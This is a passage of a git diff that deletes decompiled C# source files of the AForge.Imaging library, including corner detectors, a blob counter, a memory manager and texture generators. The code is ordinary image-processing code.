//IL_000b: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659) - { - throw new ArgumentException("Source image can be graysclae (8 bpp indexed) image only."); - } - int num = image.Width; - int num2 = image.Height; - int num3 = image.Stride - num; - IntegralImage integralImage = new IntegralImage(num, num2); - uint[,] array = integralImage.integralImage; - byte* ptr = (byte*)image.ImageData.ToPointer(); - for (int i = 1; i <= num2; i++) - { - uint num4 = 0u; - int num5 = 1; - while (num5 <= num) - { - num4 += *ptr; - array[i, num5] = num4 + array[i - 1, num5]; - num5++; - ptr++; - } - ptr += num3; - } - return integralImage; - } - - public uint GetRectangleSum(int x1, int y1, int x2, int y2) - { - if (x2 < 0 || y2 < 0 || x1 >= width || y1 >= height) - { - return 0u; - } - if (x1 < 0) - { - x1 = 0; - } - if (y1 < 0) - { - y1 = 0; - } - x2++; - y2++; - if (x2 > width) - { - x2 = width; - } - if (y2 > height) - { - y2 = height; - } - return integralImage[y2, x2] + integralImage[y1, x1] - integralImage[y2, x1] - integralImage[y1, x2]; - } - - public int GetHaarXWavelet(int x, int y, int radius) - { - int y2 = y - radius; - int y3 = y + radius - 1; - uint rectangleSum = GetRectangleSum(x, y2, x + radius - 1, y3); - uint rectangleSum2 = GetRectangleSum(x - radius, y2, x - 1, y3); - return (int)(rectangleSum - rectangleSum2); - } - - public int GetHaarYWavelet(int x, int y, int radius) - { - int x2 = x - radius; - int x3 = x + radius - 1; - float num = GetRectangleSum(x2, y, x3, y + radius - 1); - float num2 = GetRectangleSum(x2, y - radius, x3, y - 1); - return (int)(num - num2); - } - - public uint GetRectangleSumUnsafe(int x1, int y1, int x2, int y2) - { - x2++; - y2++; - return integralImage[y2, x2] + integralImage[y1, x1] - integralImage[y2, x1] - integralImage[y1, x2]; - } - - public uint GetRectangleSum(int x, int y, int radius) - { - return GetRectangleSum(x - radius, y - radius, x + radius, y + radius); - } - - public uint GetRectangleSumUnsafe(int x, int y, int radius) - { - return GetRectangleSumUnsafe(x - radius, y - radius, x + radius, y + radius); - } - - public float GetRectangleMean(int x1, int y1, int x2, int y2) - { - if (x2 < 0 || y2 < 0 || x1 >= width || y1 >= height) - { - return 0f; - } - if (x1 < 0) - { - x1 = 0; - } - if (y1 < 0) - { - y1 = 0; - } - x2++; - y2++; - if (x2 > width) - { - x2 = width; - } - if (y2 > height) - { - y2 = height; - } - return (float)((double)(integralImage[y2, x2] + integralImage[y1, x1] - integralImage[y2, x1] - integralImage[y1, x2]) / (double)((x2 - x1) * (y2 - y1))); - } - - public float GetRectangleMeanUnsafe(int x1, int y1, int x2, int y2) - { - x2++; - y2++; - return (float)((double)(integralImage[y2, x2] + integralImage[y1, x1] - integralImage[y2, x1] - integralImage[y1, x2]) / (double)((x2 - x1) * (y2 - y1))); - } - - public float GetRectangleMean(int x, int y, int radius) - { - return GetRectangleMean(x - radius, y - radius, x + radius, y + radius); - } - - public float GetRectangleMeanUnsafe(int x, int y, int radius) - { - return GetRectangleMeanUnsafe(x - radius, y - radius, x + radius, y + radius); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Interpolation.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Interpolation.cs deleted file mode 100644 index f20ccfd..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Interpolation.cs +++ /dev/null @@ -1,22 +0,0 @@ -namespace AForge.Imaging; - -internal static class Interpolation -{ - public static double BiCubicKernel(double x) - { - if (x < 0.0) - { - x = 0.0 - x; - } - double result = 0.0; - if (x <= 1.0) - { - result = (1.5 * x - 2.5) * x * x + 1.0; - } - else if (x < 2.0) - { - result = ((-0.5 * x + 2.5) * x - 4.0) * x + 2.0; - } - return result; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/InvalidImagePropertiesException.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/InvalidImagePropertiesException.cs deleted file mode 100644 index ef35dce..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/InvalidImagePropertiesException.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System; - -namespace AForge.Imaging; - -public class InvalidImagePropertiesException : ArgumentException -{ - public InvalidImagePropertiesException() - { - } - - public InvalidImagePropertiesException(string message) - : base(message) - { - } - - public InvalidImagePropertiesException(string message, string paramName) - : base(message, paramName) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/MemoryManager.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/MemoryManager.cs deleted file mode 100644 index 62b1016..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/MemoryManager.cs +++ /dev/null @@ -1,209 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; - -namespace AForge.Imaging; - -public static class MemoryManager -{ - private class CacheBlock - { - public IntPtr MemoryBlock; - - public int Size; - - public bool Free; - - public CacheBlock(IntPtr memoryBlock, int size) - { - MemoryBlock = memoryBlock; - Size = size; - Free = false; - } - } - - private static int maximumCacheSize = 3; - - private static int currentCacheSize = 0; - - private static int busyBlocks = 0; - - private static int cachedMemory = 0; - - private static int maxSizeToCache = 20971520; - - private static int minSizeToCache = 10240; - - private static List memoryBlocks = new List(); - - public static int MaximumCacheSize - { - get - { - lock (memoryBlocks) - { - return maximumCacheSize; - } - } - set - { - lock (memoryBlocks) - { - maximumCacheSize = System.Math.Max(0, System.Math.Min(10, value)); - } - } - } - - public static int CurrentCacheSize - { - get - { - lock (memoryBlocks) - { - return currentCacheSize; - } - } - } - - public static int BusyMemoryBlocks - { - get - { - lock (memoryBlocks) - { - return busyBlocks; - } - } - } - - public static int FreeMemoryBlocks - { - get - { - lock (memoryBlocks) - { - return currentCacheSize - busyBlocks; - } - } - } - - public static int CachedMemory - { - get - { - lock (memoryBlocks) - { - return cachedMemory; - } - } - } - - public static int MaxSizeToCache - { - get - { - return maxSizeToCache; - } - set - { - maxSizeToCache = value; - } - } - - public static int MinSizeToCache - { - get - { - return minSizeToCache; - } - set - { - minSizeToCache = value; - } - } - - public static IntPtr Alloc(int size) - { - lock (memoryBlocks) - { - if (busyBlocks >= maximumCacheSize || size > maxSizeToCache || size < minSizeToCache) - { - return Marshal.AllocHGlobal(size); - } - if (currentCacheSize == busyBlocks) - { - IntPtr intPtr = Marshal.AllocHGlobal(size); - memoryBlocks.Add(new CacheBlock(intPtr, size)); - busyBlocks++; - currentCacheSize++; - cachedMemory += size; - return intPtr; - } - for (int i = 0; i < currentCacheSize; i++) - { - CacheBlock cacheBlock = memoryBlocks[i]; - if (cacheBlock.Free && cacheBlock.Size >= size) - { - cacheBlock.Free = false; - busyBlocks++; - return cacheBlock.MemoryBlock; - } - } - for (int j = 0; j < currentCacheSize; j++) - { - CacheBlock cacheBlock2 = memoryBlocks[j]; - if (cacheBlock2.Free) - { - Marshal.FreeHGlobal(cacheBlock2.MemoryBlock); - memoryBlocks.RemoveAt(j); - currentCacheSize--; - cachedMemory -= cacheBlock2.Size; - IntPtr intPtr2 = Marshal.AllocHGlobal(size); - memoryBlocks.Add(new CacheBlock(intPtr2, size)); - busyBlocks++; - currentCacheSize++; - cachedMemory += size; - return intPtr2; - } - } - return IntPtr.Zero; - } - } - - public static void Free(IntPtr pointer) - { - lock (memoryBlocks) - { - for (int i = 0; i < currentCacheSize; i++) - { - if (memoryBlocks[i].MemoryBlock == pointer) - { - memoryBlocks[i].Free = true; - busyBlocks--; - return; - } - } - Marshal.FreeHGlobal(pointer); - } - } - - public static int FreeUnusedMemory() - { - lock (memoryBlocks) - { - int num = 0; - for (int num2 = currentCacheSize - 1; num2 >= 0; num2--) - { - if (memoryBlocks[num2].Free) - { - Marshal.FreeHGlobal(memoryBlocks[num2].MemoryBlock); - cachedMemory -= memoryBlocks[num2].Size; - memoryBlocks.RemoveAt(num2); - num++; - } - } - currentCacheSize -= num; - return num; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/MoravecCornersDetector.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/MoravecCornersDetector.cs deleted file mode 100644 index b960915..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/MoravecCornersDetector.cs +++ /dev/null @@ -1,189 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public class MoravecCornersDetector : ICornersDetector -{ - private int windowSize = 3; - - private int threshold = 500; - - private static int[] xDelta = new int[8] { -1, 0, 1, 1, 1, 0, -1, -1 }; - - private static int[] yDelta = new int[8] { -1, -1, -1, 0, 1, 1, 1, 0 }; - - public int WindowSize - { - get - { - return windowSize; - } - set - { - if ((value & 1) == 0) - { - throw new ArgumentException("The value shoule be odd."); - } - windowSize = System.Math.Max(3, System.Math.Min(15, value)); - } - } - - public int Threshold - { - get - { - return threshold; - } - set - { - threshold = value; - } - } - - public MoravecCornersDetector() - { - } - - public MoravecCornersDetector(int threshold) - : this(threshold, 3) - { - } - - public MoravecCornersDetector(int threshold, int windowSize) - { - Threshold = threshold; - WindowSize = windowSize; - } - - public List ProcessImage(Bitmap image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_001b: Unknown result type (might be due to invalid IL or missing references) - //IL_0025: Invalid comparison between Unknown and I4 - //IL_0028: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - if ((int)((Image)image).PixelFormat != 198659 && (int)((Image)image).PixelFormat != 137224 && (int)((Image)image).PixelFormat != 139273 && (int)((Image)image).PixelFormat != 2498570) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - return ProcessImage(new UnmanagedImage(val)); - } - finally - { - image.UnlockBits(val); - } - } - - public List ProcessImage(BitmapData imageData) - { - return ProcessImage(new UnmanagedImage(imageData)); - } - - public unsafe List ProcessImage(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_001b: Unknown result type (might be due to invalid IL or missing references) - //IL_0025: Invalid comparison between Unknown and I4 - //IL_0028: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659 && (int)image.PixelFormat != 137224 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 2498570) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - int width = image.Width; - int height = image.Height; - int stride = image.Stride; - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int num2 = windowSize / 2; - int num3 = stride - windowSize * num; - int[,] array = new int[height, width]; - byte* ptr = (byte*)image.ImageData.ToPointer(); - int i = num2; - for (int num4 = height - num2; i < num4; i++) - { - int j = num2; - for (int num5 = width - num2; j < num5; j++) - { - int num6 = int.MaxValue; - for (int k = 0; k < 8; k++) - { - int num7 = i + yDelta[k]; - int num8 = j + xDelta[k]; - if (num7 < num2 || num7 >= num4 || num8 < num2 || num8 >= num5) - { - continue; - } - int num9 = 0; - byte* ptr2 = ptr + (nint)(i - num2) * (nint)stride + (nint)(j - num2) * (nint)num; - byte* ptr3 = ptr + (nint)(num7 - num2) * (nint)stride + (nint)(num8 - num2) * (nint)num; - for (int l = 0; l < windowSize; l++) - { - int num10 = 0; - int num11 = windowSize * num; - while (num10 < num11) - { - int num12 = *ptr2 - *ptr3; - num9 += num12 * num12; - num10++; - ptr2++; - ptr3++; - } - ptr2 += num3; - ptr3 += num3; - } - if (num9 < num6) - { - num6 = num9; - } - } - if (num6 < threshold) - { - num6 = 0; - } - array[i, j] = num6; - } - } - List list = new List(); - int m = num2; - for (int num13 = height - num2; m < num13; m++) - { - int n = num2; - for (int num14 = width - num2; n < num14; n++) - { - int num15 = array[m, n]; - int num16 = -num2; - while (num15 != 0 && num16 <= num2) - { - for (int num17 = -num2; num17 <= num2; num17++) - { - if (array[m + num16, n + num17] > num15) - { - num15 = 0; - break; - } - } - num16++; - } - if (num15 != 0) - { - list.Add(new IntPoint(n, m)); - } - } - } - return list; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ObjectsOrder.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ObjectsOrder.cs deleted file mode 100644 index c949062..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ObjectsOrder.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace AForge.Imaging; - -public enum ObjectsOrder -{ - None, - Size, - Area, - YX, - XY -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/QuadrilateralFinder.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/QuadrilateralFinder.cs deleted file mode 100644 index 7e1a4cd..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/QuadrilateralFinder.cs +++ /dev/null @@ -1,128 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Math.Geometry; - -namespace AForge.Imaging; - -public class QuadrilateralFinder -{ - public List ProcessImage(Bitmap image) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_0022: Unknown result type (might be due to invalid IL or missing references) - CheckPixelFormat(((Image)image).PixelFormat); - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - List list = null; - try - { - return ProcessImage(new UnmanagedImage(val)); - } - finally - { - image.UnlockBits(val); - } - } - - public List ProcessImage(BitmapData imageData) - { - return ProcessImage(new UnmanagedImage(imageData)); - } - - public unsafe List ProcessImage(UnmanagedImage image) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_0039: Unknown result type (might be due to invalid IL or missing references) - //IL_0043: Invalid comparison between Unknown and I4 - //IL_00bc: Unknown result type (might be due to invalid IL or missing references) - CheckPixelFormat(image.PixelFormat); - int width = image.Width; - int height = image.Height; - List list = new List(); - byte* ptr = (byte*)image.ImageData.ToPointer(); - int stride = image.Stride; - if ((int)image.PixelFormat == 198659) - { - for (int i = 0; i < height; i++) - { - bool flag = true; - for (int j = 0; j < width; j++) - { - if (ptr[j] != 0) - { - list.Add(new IntPoint(j, i)); - flag = false; - break; - } - } - if (!flag) - { - for (int num = width - 1; num >= 0; num--) - { - if (ptr[num] != 0) - { - list.Add(new IntPoint(num, i)); - break; - } - } - } - ptr += stride; - } - } - else - { - int num2 = Image.GetPixelFormatSize(image.PixelFormat) / 8; - byte* ptr2 = null; - for (int k = 0; k < height; k++) - { - bool flag = true; - ptr2 = ptr; - int num3 = 0; - while (num3 < width) - { - if (ptr2[2] != 0 || ptr2[1] != 0 || *ptr2 != 0) - { - list.Add(new IntPoint(num3, k)); - flag = false; - break; - } - num3++; - ptr2 += num2; - } - if (!flag) - { - ptr2 = ptr + (nint)width * (nint)num2 - num2; - int num4 = width - 1; - while (num4 >= 0) - { - if (ptr2[2] != 0 || ptr2[1] != 0 || *ptr2 != 0) - { - list.Add(new IntPoint(num4, k)); - break; - } - num4--; - ptr2 -= num2; - } - } - ptr += stride; - } - } - return PointsCloud.FindQuadrilateralCorners(list); - } - - private void CheckPixelFormat(PixelFormat format) - { - //IL_0000: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Invalid comparison between Unknown and I4 - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Invalid comparison between Unknown and I4 - //IL_0010: Unknown result type (might be due to invalid IL or missing references) - //IL_0016: Invalid comparison between Unknown and I4 - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Invalid comparison between Unknown and I4 - if ((int)format != 198659 && (int)format != 137224 && (int)format != 2498570 && (int)format != 925707) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/RGB.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/RGB.cs deleted file mode 100644 index e49fc23..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/RGB.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System.Drawing; - -namespace AForge.Imaging; - -public class RGB -{ - public const short R = 2; - - public const short G = 1; - - public const short B = 0; - - public const short A = 3; - - public byte Red; - - public byte Green; - - public byte Blue; - - public byte Alpha; - - public Color Color - { - get - { - return Color.FromArgb(Alpha, Red, Green, Blue); - } - set - { - Red = value.R; - Green = value.G; - Blue = value.B; - Alpha = value.A; - } - } - - public RGB() - { - Red = 0; - Green = 0; - Blue = 0; - Alpha = byte.MaxValue; - } - - public RGB(byte red, byte green, byte blue) - { - Red = red; - Green = green; - Blue = blue; - Alpha = byte.MaxValue; - } - - public RGB(byte red, byte green, byte blue, byte alpha) - { - Red = red; - Green = green; - Blue = blue; - Alpha = alpha; - } - - public RGB(Color color) - { - Red = color.R; - Green = color.G; - Blue = color.B; - Alpha = color.A; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/RecursiveBlobCounter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/RecursiveBlobCounter.cs deleted file mode 100644 index ea0b588..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/RecursiveBlobCounter.cs +++ /dev/null @@ -1,171 +0,0 @@ -using System; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public class RecursiveBlobCounter : BlobCounterBase -{ - private int[] tempLabels; - - private int stride; - - private int pixelSize; - - private byte backgroundThresholdR; - - private byte backgroundThresholdG; - - private byte backgroundThresholdB; - - public Color BackgroundThreshold - { - get - { - return Color.FromArgb(backgroundThresholdR, backgroundThresholdG, backgroundThresholdB); - } - set - { - backgroundThresholdR = value.R; - backgroundThresholdG = value.G; - backgroundThresholdB = value.B; - } - } - - public RecursiveBlobCounter() - { - } - - public RecursiveBlobCounter(Bitmap image) - : base(image) - { - } - - public RecursiveBlobCounter(BitmapData imageData) - : base(imageData) - { - } - - public RecursiveBlobCounter(UnmanagedImage image) - : base(image) - { - } - - protected unsafe override void BuildObjectsMap(UnmanagedImage image) - { - //IL_000d: Unknown result type (might be due to invalid IL or missing references) - //IL_0017: Invalid comparison between Unknown and I4 - //IL_001a: Unknown result type (might be due to invalid IL or missing references) - //IL_0024: Invalid comparison between Unknown and I4 - //IL_0027: Unknown result type (might be due to invalid IL or missing references) - //IL_0031: Invalid comparison between Unknown and I4 - //IL_0034: Unknown result type (might be due to invalid IL or missing references) - //IL_003e: Invalid comparison between Unknown and I4 - //IL_0041: Unknown result type (might be due to invalid IL or missing references) - //IL_004b: Invalid comparison between Unknown and I4 - //IL_0114: Unknown result type (might be due to invalid IL or missing references) - //IL_011e: Invalid comparison between Unknown and I4 - //IL_01ab: Unknown result type (might be due to invalid IL or missing references) - stride = image.Stride; - if ((int)image.PixelFormat != 198659 && (int)image.PixelFormat != 137224 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 2498570 && (int)image.PixelFormat != 925707) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - tempLabels = new int[(imageWidth + 2) * (imageHeight + 2)]; - int i = 0; - for (int num = imageWidth + 2; i < num; i++) - { - tempLabels[i] = -1; - tempLabels[i + (imageHeight + 1) * (imageWidth + 2)] = -1; - } - int j = 0; - for (int num2 = imageHeight + 2; j < num2; j++) - { - tempLabels[j * (imageWidth + 2)] = -1; - tempLabels[j * (imageWidth + 2) + imageWidth + 1] = -1; - } - objectsCount = 0; - byte* ptr = (byte*)image.ImageData.ToPointer(); - int num3 = imageWidth + 2 + 1; - if ((int)image.PixelFormat == 198659) - { - int num4 = stride - imageWidth; - for (int k = 0; k < imageHeight; k++) - { - int num5 = 0; - while (num5 < imageWidth) - { - if (*ptr > backgroundThresholdG && tempLabels[num3] == 0) - { - objectsCount++; - LabelPixel(ptr, num3); - } - num5++; - ptr++; - num3++; - } - ptr += num4; - num3 += 2; - } - } - else - { - pixelSize = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int num6 = stride - imageWidth * pixelSize; - for (int l = 0; l < imageHeight; l++) - { - int num7 = 0; - while (num7 < imageWidth) - { - if ((ptr[2] > backgroundThresholdR || ptr[1] > backgroundThresholdG || *ptr > backgroundThresholdB) && tempLabels[num3] == 0) - { - objectsCount++; - LabelColorPixel(ptr, num3); - } - num7++; - ptr += pixelSize; - num3++; - } - ptr += num6; - num3 += 2; - } - } - objectLabels = new int[imageWidth * imageHeight]; - for (int m = 0; m < imageHeight; m++) - { - Array.Copy(tempLabels, (m + 1) * (imageWidth + 2) + 1, objectLabels, m * imageWidth, imageWidth); - } - } - - private unsafe void LabelPixel(byte* pixel, int labelPointer) - { - if (tempLabels[labelPointer] == 0 && *pixel > backgroundThresholdG) - { - tempLabels[labelPointer] = objectsCount; - LabelPixel(pixel + 1, labelPointer + 1); - LabelPixel(pixel + 1 + stride, labelPointer + 1 + 2 + imageWidth); - LabelPixel(pixel + stride, labelPointer + 2 + imageWidth); - LabelPixel(pixel - 1 + stride, labelPointer - 1 + 2 + imageWidth); - LabelPixel(pixel - 1, labelPointer - 1); - LabelPixel(pixel - 1 - stride, labelPointer - 1 - 2 - imageWidth); - LabelPixel(pixel - stride, labelPointer - 2 - imageWidth); - LabelPixel(pixel + 1 - stride, labelPointer + 1 - 2 - imageWidth); - } - } - - private unsafe void LabelColorPixel(byte* pixel, int labelPointer) - { - if (tempLabels[labelPointer] == 0 && (pixel[2] > backgroundThresholdR || pixel[1] > backgroundThresholdG || *pixel > backgroundThresholdB)) - { - tempLabels[labelPointer] = objectsCount; - LabelColorPixel(pixel + pixelSize, labelPointer + 1); - LabelColorPixel(pixel + pixelSize + stride, labelPointer + 1 + 2 + imageWidth); - LabelColorPixel(pixel + stride, labelPointer + 2 + imageWidth); - LabelColorPixel(pixel - pixelSize + stride, labelPointer - 1 + 2 + imageWidth); - LabelColorPixel(pixel - pixelSize, labelPointer - 1); - LabelColorPixel(pixel - pixelSize - stride, labelPointer - 1 - 2 - imageWidth); - LabelColorPixel(pixel - stride, labelPointer - 2 - imageWidth); - LabelColorPixel(pixel + pixelSize - stride, labelPointer + 1 - 2 - imageWidth); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/SusanCornersDetector.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/SusanCornersDetector.cs deleted file mode 100644 index dd4ded9..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/SusanCornersDetector.cs +++ /dev/null @@ -1,182 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Imaging.Filters; - -namespace AForge.Imaging; - -public class SusanCornersDetector : ICornersDetector -{ - private int differenceThreshold = 25; - - private int geometricalThreshold = 18; - - private static int[] rowRadius = new int[7] { 1, 2, 3, 3, 3, 2, 1 }; - - public int DifferenceThreshold - { - get - { - return differenceThreshold; - } - set - { - differenceThreshold = value; - } - } - - public int GeometricalThreshold - { - get - { - return geometricalThreshold; - } - set - { - geometricalThreshold = value; - } - } - - public SusanCornersDetector() - { - } - - public SusanCornersDetector(int differenceThreshold, int geometricalThreshold) - { - this.differenceThreshold = differenceThreshold; - this.geometricalThreshold = geometricalThreshold; - } - - public List ProcessImage(Bitmap image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_001b: Unknown result type (might be due to invalid IL or missing references) - //IL_0025: Invalid comparison between Unknown and I4 - //IL_0028: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - if ((int)((Image)image).PixelFormat != 198659 && (int)((Image)image).PixelFormat != 137224 && (int)((Image)image).PixelFormat != 139273 && (int)((Image)image).PixelFormat != 2498570) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - return ProcessImage(new UnmanagedImage(val)); - } - finally - { - image.UnlockBits(val); - } - } - - public List ProcessImage(BitmapData imageData) - { - return ProcessImage(new UnmanagedImage(imageData)); - } - - public unsafe List ProcessImage(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_0050: Unknown result type (might be due to invalid IL or missing references) - //IL_005a: Invalid comparison between Unknown and I4 - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_001b: Unknown result type (might be due to invalid IL or missing references) - //IL_0025: Invalid comparison between Unknown and I4 - //IL_0028: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - //IL_01a3: Unknown result type (might be due to invalid IL or missing references) - //IL_01ad: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659 && (int)image.PixelFormat != 137224 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 2498570) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - int width = image.Width; - int height = image.Height; - UnmanagedImage unmanagedImage = null; - unmanagedImage = (((int)image.PixelFormat != 198659) ? Grayscale.CommonAlgorithms.BT709.Apply(image) : image); - int[,] array = new int[height, width]; - int stride = unmanagedImage.Stride; - int num = stride - width; - byte* ptr = (byte*)unmanagedImage.ImageData.ToPointer() + (nint)stride * (nint)3 + 3; - int i = 3; - for (int num2 = height - 3; i < num2; i++) - { - int num3 = 3; - int num4 = width - 3; - while (num3 < num4) - { - byte b = *ptr; - int num5 = 0; - int num6 = 0; - int num7 = 0; - for (int j = -3; j <= 3; j++) - { - int num8 = rowRadius[j + 3]; - byte* ptr2 = ptr + (nint)stride * (nint)j; - for (int k = -num8; k <= num8; k++) - { - if (System.Math.Abs(b - ptr2[k]) <= differenceThreshold) - { - num5++; - num6 += num3 + k; - num7 += i + j; - } - } - } - if (num5 < geometricalThreshold) - { - num6 /= num5; - num7 /= num5; - num5 = ((num3 != num6 || i != num7) ? (geometricalThreshold - num5) : 0); - } - else - { - num5 = 0; - } - array[i, num3] = num5; - num3++; - ptr++; - } - ptr += 6 + num; - } - if ((int)image.PixelFormat != 198659) - { - unmanagedImage.Dispose(); - } - List list = new List(); - int l = 2; - for (int num9 = height - 2; l < num9; l++) - { - int m = 2; - for (int num10 = width - 2; m < num10; m++) - { - int num11 = array[l, m]; - int num12 = -2; - while (num11 != 0 && num12 <= 2) - { - for (int n = -2; n <= 2; n++) - { - if (array[l + num12, m + n] > num11) - { - num11 = 0; - break; - } - } - num12++; - } - if (num11 != 0) - { - list.Add(new IntPoint(m, l)); - } - } - } - return list; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/TemplateMatch.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/TemplateMatch.cs deleted file mode 100644 index 7d30854..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/TemplateMatch.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System.Drawing; - -namespace AForge.Imaging; - -public class TemplateMatch -{ - private Rectangle rect; - - private float similarity; - - public Rectangle Rectangle => rect; - - public float Similarity => similarity; - - public TemplateMatch(Rectangle rect, float similarity) - { - this.rect = rect; - this.similarity = similarity; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/CloudsTexture.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/CloudsTexture.cs deleted file mode 100644 index b75ddc8..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/CloudsTexture.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System; -using AForge.Math; - -namespace AForge.Imaging.Textures; - -public class CloudsTexture : ITextureGenerator -{ - private PerlinNoise noise = new PerlinNoise(8, 0.5, 1.0 / 32.0, 1.0); - - private Random rand = new Random(); - - private int r; - - public CloudsTexture() - { - Reset(); - } - - public float[,] Generate(int width, int height) - { - float[,] array = new float[height, width]; - for (int i = 0; i < height; i++) - { - for (int j = 0; j < width; j++) - { - array[i, j] = System.Math.Max(0f, System.Math.Min(1f, (float)noise.Function2D(j + r, i + r) * 0.5f + 0.5f)); - } - } - return array; - } - - public void Reset() - { - r = rand.Next(5000); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/ITextureGenerator.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/ITextureGenerator.cs deleted file mode 100644 index 7202bf4..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/ITextureGenerator.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace AForge.Imaging.Textures; - -public interface ITextureGenerator -{ - float[,] Generate(int width, int height); - - void Reset(); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/LabyrinthTexture.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/LabyrinthTexture.cs deleted file mode 100644 index eebdd3a..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/LabyrinthTexture.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System; -using AForge.Math; - -namespace AForge.Imaging.Textures; - -public class LabyrinthTexture : ITextureGenerator -{ - private PerlinNoise noise = new PerlinNoise(1, 0.65, 0.0625, 